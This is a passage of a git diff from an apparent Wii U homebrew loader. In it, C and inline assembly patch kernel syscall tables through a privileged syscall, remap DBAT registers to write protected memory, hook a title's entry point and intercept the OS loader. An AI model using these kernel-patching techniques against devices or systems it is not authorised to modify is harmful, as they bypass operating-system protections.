||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
|
||||
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
|
||||
}
|
||||
|
||||
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
|
||||
{
|
||||
/*
|
||||
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
|
||||
*/
|
||||
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
|
||||
// setup mapping based on target address
|
||||
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
|
||||
{
|
||||
target_dbat0u = ROOTRPX_DBAT0U_VAL;
|
||||
target_dbat0l = ROOTRPX_DBAT0L_VAL;
|
||||
}
|
||||
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
|
||||
{
|
||||
target_dbat0u = COREINIT_DBAT0U_VAL;
|
||||
target_dbat0l = COREINIT_DBAT0L_VAL;
|
||||
}
|
||||
// save the original DBAT value
|
||||
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
|
||||
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
unsigned char *src_p = (unsigned char*)src;
|
||||
unsigned char *dst_p = (unsigned char*)addr;
|
||||
|
||||
unsigned int i;
|
||||
for(i = 0; i < len; i++)
|
||||
{
|
||||
dst_p[i] = src_p[i];
|
||||
}
|
||||
|
||||
unsigned int flushAddr = addr & ~31;
|
||||
|
||||
while(flushAddr < (addr + len))
|
||||
{
|
||||
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
|
||||
flushAddr += 0x20;
|
||||
}
|
||||
|
||||
/*
|
||||
* Restore original DBAT value
|
||||
*/
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
static void thread_callback(int argc, void *argv)
|
||||
{
|
||||
/* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */
|
||||
unsigned int sysapp_handle;
|
||||
void (*_SYSLaunchMiiStudio)(void) = 0;
|
||||
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
|
||||
|
||||
_SYSLaunchMiiStudio();
|
||||
}
|
||||
|
||||
static int strcmp(const char *s1, const char *s2)
|
||||
{
|
||||
while(*s1 && *s2)
|
||||
{
|
||||
if(*s1 != *s2) {
|
||||
return -1;
|
||||
}
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
|
||||
if(*s1 != *s2) {
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
|
||||
{
|
||||
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
|
||||
|
||||
if ( !data
|
||||
|| !IS_ELF (*ehdr)
|
||||
|| (ehdr->e_type != ET_EXEC)
|
||||
|| (ehdr->e_machine != EM_PPC))
|
||||
{
|
||||
ExitFailure(private_data, "Invalid elf file");
|
||||
}
|
||||
|
||||
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
|
||||
int i;
|
||||
for(i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||
if(strcmp(section_name, name) == 0)
|
||||
{
|
||||
if(addr)
|
||||
*addr = shdr[i].sh_addr;
|
||||
if(size)
|
||||
*size = shdr[i].sh_size;
|
||||
return shdr[i].sh_offset;
|
||||
}
|
||||
}
|
||||
|
||||
if(fail_on_not_found)
|
||||
ExitFailure(private_data, (char*)name);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* INSTALL MAIN CODE */
|
||||
/* ****************************************************************** */
|
||||
static void InstallMain(private_data_t *private_data)
|
||||
{
|
||||
// get .text section
|
||||
unsigned int main_text_addr = 0;
|
||||
unsigned int main_text_len = 0;
|
||||
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
|
||||
unsigned char *main_text = private_data->data_elf + section_offset;
|
||||
/* Copy main .text to memory */
|
||||
if(section_offset > 0)
|
||||
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
|
||||
|
||||
// get the .rodata section
|
||||
unsigned int main_rodata_addr = 0;
|
||||
unsigned int main_rodata_len = 0;
|
||||
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
|
||||
if(section_offset > 0)
|
||||
{
|
||||
unsigned char *main_rodata = private_data->data_elf + section_offset;
|
||||
/* Copy main rodata to memory */
|
||||
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
|
||||
}
|
||||
|
||||
// get the .data section
|
||||
unsigned int main_data_addr = 0;
|
||||
unsigned int main_data_len = 0;
|
||||
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
|
||||
if(section_offset > 0)
|
||||
{
|
||||
unsigned char *main_data = private_data->data_elf + section_offset;
|
||||
/* Copy main data to memory */
|
||||
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
|
||||
}
|
||||
|
||||
// get the .bss section
|
||||
unsigned int main_bss_addr = 0;
|
||||
unsigned int main_bss_len = 0;
|
||||
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
|
||||
if(section_offset > 0)
|
||||
{
|
||||
unsigned char *main_bss = private_data->data_elf + section_offset;
|
||||
/* Copy main data to memory */
|
||||
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
|
||||
}
|
||||
}
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* INSTALL PATCHES */
|
||||
/* All OS specific stuff is done here */
|
||||
/* ****************************************************************** */
|
||||
static void InstallPatches(private_data_t *private_data)
|
||||
{
|
||||
OsSpecifics osSpecificFunctions;
|
||||
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
|
||||
|
||||
unsigned int bufferU32;
|
||||
/* Pre-setup a few options to defined values */
|
||||
bufferU32 = VER;
|
||||
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
|
||||
bufferU32 = 0xDEADC0DE;
|
||||
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
|
||||
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
|
||||
bufferU32 = 0;
|
||||
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
|
||||
|
||||
unsigned int jump_main_hook = 0;
|
||||
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
|
||||
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
|
||||
|
||||
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
|
||||
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
|
||||
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
|
||||
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
|
||||
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
|
||||
|
||||
osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete;
|
||||
osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts;
|
||||
osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk;
|
||||
osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook;
|
||||
osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer;
|
||||
osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized;
|
||||
osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk;
|
||||
|
||||
//! pointer to main entry point of a title
|
||||
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
|
||||
|
||||
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
|
||||
|
||||
//! at this point we dont need to check header and stuff as it is sure to be OK
|
||||
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
|
||||
unsigned int mainEntryPoint = ehdr->e_entry;
|
||||
|
||||
//! Install our entry point hook
|
||||
unsigned int repl_addr = ADDRESS_main_entry_hook;
|
||||
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
|
||||
bufferU32 = 0x48000003 | jump_addr;
|
||||
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
|
||||
// flush caches and invalidate instruction cache
|
||||
private_data->ICInvalidateRange((void*)(repl_addr), 4);
|
||||
}
|
||||
@ -1,74 +0,0 @@
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include "common/common.h"
|
||||
#include "dynamic_libs/socket_functions.h"
|
||||
#include "logger.h"
|
||||
|
||||
static int log_socket = 0;
|
||||
|
||||
|
||||
void log_init(void)
|
||||
{
|
||||
if(log_socket > 0)
|
||||
return;
|
||||
|
||||
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (log_socket < 0)
|
||||
return;
|
||||
|
||||
struct sockaddr_in connect_addr;
|
||||
memset(&connect_addr, 0, sizeof(connect_addr));
|
||||
connect_addr.sin_family = AF_INET;
|
||||
connect_addr.sin_port = 4405;
|
||||
inet_aton("192.168.0.44", &connect_addr.sin_addr);
|
||||
|
||||
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
|
||||
{
|
||||
socketclose(log_socket);
|
||||
log_socket = -1;
|
||||
}
|
||||
}
|
||||
|
||||
void log_print(const char *str)
|
||||
{
|
||||
// socket is always 0 initially as it is in the BSS
|
||||
if(log_socket <= 0) {
|
||||
log_init();
|
||||
return;
|
||||
}
|
||||
|
||||
int len = strlen(str);
|
||||
int ret;
|
||||
while (len > 0) {
|
||||
ret = send(log_socket, str, len, 0);
|
||||
if(ret < 0)
|
||||
return;
|
||||
|
||||
len -= ret;
|
||||
str += ret;
|
||||
}
|
||||
}
|
||||
|
||||
void log_printf(const char *format, ...)
|
||||
{
|
||||
if(log_socket <= 0) {
|
||||
log_init();
|
||||
return;
|
||||
}
|
||||
|
||||
char * tmp = NULL;
|
||||
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
||||
{
|
||||
log_print(tmp);
|
||||
}
|
||||
va_end(va);
|
||||
|
||||
if(tmp)
|
||||
free(tmp);
|
||||
}
|
||||
@ -1,86 +0,0 @@
|
||||
#ifndef __LOGGER_H_
|
||||
#define __LOGGER_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Communication bytes with the server */
|
||||
// Com
|
||||
#define BYTE_NORMAL 0xff
|
||||
#define BYTE_SPECIAL 0xfe
|
||||
#define BYTE_OK 0xfd
|
||||
#define BYTE_PING 0xfc
|
||||
#define BYTE_LOG_STR 0xfb
|
||||
#define BYTE_DISCONNECT 0xfa
|
||||
|
||||
// SD
|
||||
#define BYTE_MOUNT_SD 0xe0
|
||||
#define BYTE_MOUNT_SD_OK 0xe1
|
||||
#define BYTE_MOUNT_SD_BAD 0xe2
|
||||
|
||||
// Replacement
|
||||
#define BYTE_STAT 0x00
|
||||
#define BYTE_STAT_ASYNC 0x01
|
||||
#define BYTE_OPEN_FILE 0x02
|
||||
#define BYTE_OPEN_FILE_ASYNC 0x03
|
||||
#define BYTE_OPEN_DIR 0x04
|
||||
#define BYTE_OPEN_DIR_ASYNC 0x05
|
||||
#define BYTE_CHANGE_DIR 0x06
|
||||
#define BYTE_CHANGE_DIR_ASYNC 0x07
|
||||
#define BYTE_MAKE_DIR 0x08
|
||||
#define BYTE_MAKE_DIR_ASYNC 0x09
|
||||
#define BYTE_RENAME 0x0A
|
||||
#define BYTE_RENAME_ASYNC 0x0B
|
||||
#define BYTE_REMOVE 0x0C
|
||||
#define BYTE_REMOVE_ASYNC 0x0D
|
||||
|
||||
// Log
|
||||
#define BYTE_CLOSE_FILE 0x40
|
||||
#define BYTE_CLOSE_FILE_ASYNC 0x41
|
||||
#define BYTE_CLOSE_DIR 0x42
|
||||
#define BYTE_CLOSE_DIR_ASYNC 0x43
|
||||
#define BYTE_FLUSH_FILE 0x44
|
||||
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
|
||||
#define BYTE_GET_LAST_ERROR 0x46
|
||||
#define BYTE_GET_MOUNT_SOURCE 0x47
|
||||
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
|
||||
#define BYTE_GET_POS_FILE 0x49
|
||||
#define BYTE_SET_POS_FILE 0x4A
|
||||
#define BYTE_GET_STAT_FILE 0x4B
|
||||
#define BYTE_EOF 0x4C
|
||||
#define BYTE_READ_FILE 0x4D
|
||||
#define BYTE_READ_FILE_ASYNC 0x4E
|
||||
#define BYTE_READ_FILE_WITH_POS 0x4F
|
||||
#define BYTE_READ_DIR 0x50
|
||||
#define BYTE_READ_DIR_ASYNC 0x51
|
||||
#define BYTE_GET_CWD 0x52
|
||||
#define BYTE_SET_STATE_CHG_NOTIF 0x53
|
||||
#define BYTE_TRUNCATE_FILE 0x54
|
||||
#define BYTE_WRITE_FILE 0x55
|
||||
#define BYTE_WRITE_FILE_WITH_POS 0x56
|
||||
|
||||
#define BYTE_SAVE_INIT 0x57
|
||||
#define BYTE_SAVE_SHUTDOWN 0x58
|
||||
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
|
||||
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
|
||||
#define BYTE_SAVE_OPEN_DIR 0x5B
|
||||
#define BYTE_SAVE_REMOVE 0x5C
|
||||
|
||||
#define BYTE_CREATE_THREAD 0x60
|
||||
|
||||
|
||||
int logger_connect(int *socket);
|
||||
void logger_disconnect(int socket);
|
||||
void log_string(int sock, const char* str, char byte);
|
||||
void log_byte(int sock, char byte);
|
||||
|
||||
void log_init(void);
|
||||
void log_print(const char *str);
|
||||
void log_printf(const char *format, ...);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
@ -1,32 +0,0 @@
|
||||
#ifndef STRUCTS_H
|
||||
#define STRUCTS_H
|
||||
|
||||
typedef struct {
|
||||
unsigned char *data;
|
||||
int len;
|
||||
int alloc_size;
|
||||
void* (*memcpy)(void * dest, const void * src, int num);
|
||||
} file_struct_t;
|
||||
|
||||
typedef struct {
|
||||
unsigned char *data_elf;
|
||||
unsigned int coreinit_handle;
|
||||
/* function pointers */
|
||||
void* (*memcpy)(void * dest, const void * src, int num);
|
||||
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||
void* (*OSEffectiveToPhysical)(const void*);
|
||||
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
|
||||
void (*MEMFreeToDefaultHeap)(void *ptr);
|
||||
void (*DCFlushRange)(const void *addr, unsigned int length);
|
||||
void (*ICInvalidateRange)(const void *addr, unsigned int length);
|
||||
void (*_Exit)(int);
|
||||
|
||||
void* (*curl_easy_init)(void);
|
||||
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
|
||||
int (*curl_easy_perform)(void *handle);
|
||||
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
|
||||
void (*curl_easy_cleanup)(void *handle);
|
||||
} private_data_t;
|
||||
|
||||
|
||||
#endif // STRUCTS_H
|
||||
@ -1,22 +0,0 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
typedef unsigned long long uint64_t;
|
||||
typedef long long int64_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef int int32_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef short int16_t;
|
||||
typedef unsigned char uint8_t;
|
||||
typedef char int8_t;
|
||||
|
||||
typedef uint32_t size_t;
|
||||
|
||||
typedef _Bool bool;
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define null 0
|
||||
|
||||
#define NULL (void*)0
|
||||
|
||||
#endif /* TYPES_H */
|
||||
@ -118,8 +118,7 @@ $(BUILD):
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
|
||||
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).bin $(OUTPUT).h
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
@ -138,6 +137,8 @@ $(OUTPUT).elf: $(OFILES)
|
||||
@echo "linking ... $(TARGET).elf"
|
||||
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
|
||||
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
|
||||
$(Q)$(OBJCOPY) -j .text -j .data -O binary $@ ../$(TARGET).bin
|
||||
$(Q)xxd -i ../$(TARGET).bin | sed "s/unsigned/static const unsigned/g;" > $(OUTPUT).h
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
%.a:
|
||||
|
||||
@ -1,12 +1,13 @@
|
||||
#include <gctypes.h>
|
||||
#include "elf_abi.h"
|
||||
#include "../../src/common/common.h"
|
||||
#include "../../src/common/fs_defs.h"
|
||||
#include "../../src/common/os_defs.h"
|
||||
#include "kernel_defs.h"
|
||||
#include "loader_defs.h"
|
||||
|
||||
#define CODE_RW_BASE_OFFSET 0
|
||||
#define DATA_RW_BASE_OFFSET 0
|
||||
|
||||
#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__);
|
||||
|
||||
#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func)
|
||||
|
||||
typedef struct _private_data_t
|
||||
@ -17,434 +18,14 @@ typedef struct _private_data_t
|
||||
EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s);
|
||||
EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s);
|
||||
EXPORT_DECL(void, OSFatal, const char* msg);
|
||||
EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*);
|
||||
EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length);
|
||||
EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length);
|
||||
EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...);
|
||||
EXPORT_DECL(void, exit, int);
|
||||
|
||||
EXPORT_DECL(int, FSInit, void);
|
||||
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
|
||||
EXPORT_DECL(int, FSDelClient, void *pClient);
|
||||
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
|
||||
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling);
|
||||
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
|
||||
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
|
||||
|
||||
EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv);
|
||||
} private_data_t;
|
||||
|
||||
static void (*DCFlushRange)(void *addr, unsigned int size);
|
||||
static void (*DCInvalidateRange)(void *addr, unsigned int size);
|
||||
static void (*ICInvalidateRange)(void *addr, unsigned int size);
|
||||
static unsigned int hook_LiWaitOneChunk;
|
||||
static unsigned int addrphys_LiWaitOneChunk;
|
||||
|
||||
extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
|
||||
extern void my_PrepareTitle_hook(void);
|
||||
|
||||
/* Write a 32-bit word with kernel permissions */
|
||||
static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
|
||||
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
|
||||
{
|
||||
/*
|
||||
* Setup a DBAT access with cache inhibited to write through and read directly from memory
|
||||
*/
|
||||
unsigned int dbatu0, dbatl0, dbatu1, dbatl1;
|
||||
// save the original DBAT value
|
||||
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
|
||||
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
|
||||
asm volatile("mfdbatu %0, 1" : "=r" (dbatu1));
|
||||
asm volatile("mfdbatl %0, 1" : "=r" (dbatl1));
|
||||
|
||||
unsigned int target_dbatu0 = 0;
|
||||
unsigned int target_dbatl0 = 0;
|
||||
unsigned int target_dbatu1 = 0;
|
||||
unsigned int target_dbatl1 = 0;
|
||||
|
||||
unsigned int *dst_p = (unsigned int*)addr;
|
||||
unsigned int *src_p = (unsigned int*)src;
|
||||
|
||||
// we only need DBAT modification for addresses out of our own DBAT range
|
||||
// as our own DBAT is available everywhere for user and supervisor
|
||||
// since our own DBAT is on DBAT5 position we don't collide here
|
||||
if(addr < 0x00800000 || addr >= 0x01000000)
|
||||
{
|
||||
target_dbatu0 = (addr & 0x00F00000) | 0xC0000000 | 0x1F;
|
||||
target_dbatl0 = (addr & 0xFFF00000) | 0x32;
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
|
||||
dst_p = (unsigned int*)((addr & 0xFFFFFF) | 0xC0000000);
|
||||
}
|
||||
if(src < 0x00800000 || src >= 0x01000000)
|
||||
{
|
||||
target_dbatu1 = (src & 0x00F00000) | 0xB0000000 | 0x1F;
|
||||
target_dbatl1 = (src & 0xFFF00000) | 0x32;
|
||||
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
|
||||
src_p = (unsigned int*)((src & 0xFFFFFF) | 0xB0000000);
|
||||
}
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
|
||||
unsigned int i;
|
||||
for(i = 0; i < len; i += 4)
|
||||
{
|
||||
// if we are on the edge to next chunk
|
||||
if((target_dbatu0 != 0) && (((unsigned int)dst_p & 0x00F00000) != (target_dbatu0 & 0x00F00000)))
|
||||
{
|
||||
target_dbatu0 = ((addr + i) & 0x00F00000) | 0xC0000000 | 0x1F;
|
||||
target_dbatl0 = ((addr + i) & 0xFFF00000) | 0x32;
|
||||
dst_p = (unsigned int*)(((addr + i) & 0xFFFFFF) | 0xC0000000);
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (target_dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (target_dbatl0));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
if((target_dbatu1 != 0) && (((unsigned int)src_p & 0x00F00000) != (target_dbatu1 & 0x00F00000)))
|
||||
{
|
||||
target_dbatu1 = ((src + i) & 0x00F00000) | 0xB0000000 | 0x1F;
|
||||
target_dbatl1 = ((src + i) & 0xFFF00000) | 0x32;
|
||||
src_p = (unsigned int*)(((src + i) & 0xFFFFFF) | 0xB0000000);
|
||||
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (target_dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (target_dbatl1));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
*dst_p = *src_p;
|
||||
|
||||
++dst_p;
|
||||
++src_p;
|
||||
}
|
||||
|
||||
/*
|
||||
* Restore original DBAT value
|
||||
*/
|
||||
asm volatile("eieio; isync");
|
||||
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
|
||||
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
|
||||
asm volatile("mtdbatu 1, %0" : : "r" (dbatu1));
|
||||
asm volatile("mtdbatl 1, %0" : : "r" (dbatl1));
|
||||
asm volatile("eieio; isync");
|
||||
}
|
||||
|
||||
// This function is called every time after LiBounceOneChunk.
|
||||
// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address
|
||||
// and return the still remaining bytes to load.
|
||||
// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load.
|
||||
static int LiWaitOneChunk(unsigned int * iRemainingBytes, const char *filename, int fileType)
|
||||
{
|
||||
unsigned int result;
|
||||
register int core_id;
|
||||
int remaining_bytes = 0;
|
||||
|
||||
int sgFileOffset;
|
||||
int sgBufferNumber;
|
||||
int *sgBounceError;
|
||||
int *sgGotBytes;
|
||||
int *sgTotalBytes;
|
||||
int *sgIsLoadingBuffer;
|
||||
int *sgFinishedLoadingBuffer;
|
||||
|
||||
// get the current core
|
||||
asm volatile("mfspr %0, 0x3EF" : "=r" (core_id));
|
||||
|
||||
// get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4))
|
||||
unsigned int gDynloadInitialized = *(volatile unsigned int*)(OS_SPECIFICS->addr_gDynloadInitialized + (core_id << 2));
|
||||
|
||||
// Comment (Dimok):
|
||||
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
|
||||
//unsigned long long systemTime1 = Loader_GetSystemTime();
|
||||
|
||||
if(OS_FIRMWARE == 550)
|
||||
{
|
||||
// pointer to global variables of the loader
|
||||
loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80);
|
||||
|
||||
sgBufferNumber = loader_globals->sgBufferNumber;
|
||||
sgFileOffset = loader_globals->sgFileOffset;
|
||||
sgBounceError = &loader_globals->sgBounceError;
|
||||
sgGotBytes = &loader_globals->sgGotBytes;
|
||||
sgTotalBytes = &loader_globals->sgTotalBytes;
|
||||
sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer;
|
||||
// not available on 5.5.x
|
||||
sgIsLoadingBuffer = NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
// pointer to global variables of the loader
|
||||
loader_globals_t *loader_globals = (loader_globals_t*)(OS_SPECIFICS->addr_sgIsLoadingBuffer);
|
||||
|
||||
sgBufferNumber = loader_globals->sgBufferNumber;
|
||||
sgFileOffset = loader_globals->sgFileOffset;
|
||||
sgBounceError = &loader_globals->sgBounceError;
|
||||
sgGotBytes = &loader_globals->sgGotBytes;
|
||||
sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer;
|
||||
// not available on < 5.5.x
|
||||
sgTotalBytes = NULL;
|
||||
sgFinishedLoadingBuffer = NULL;
|
||||
}
|
||||
|
||||
// the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data
|
||||
if(gDynloadInitialized != 0) {
|
||||
result = OS_SPECIFICS->LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes);
|
||||
|
||||
}
|
||||
else {
|
||||
result = OS_SPECIFICS->LiWaitIopComplete(0x2160EC0, &remaining_bytes);
|
||||
}
|
||||
|
||||
// Comment (Dimok):
|
||||
// time measurement at this position for logger -> we don't need it right now except maybe for debugging
|
||||
//unsigned long long systemTime2 = Loader_GetSystemTime();
|
||||
|
||||
//------------------------------------------------------------------------------------------------------------------
|
||||
// Start of our function intrusion:
|
||||
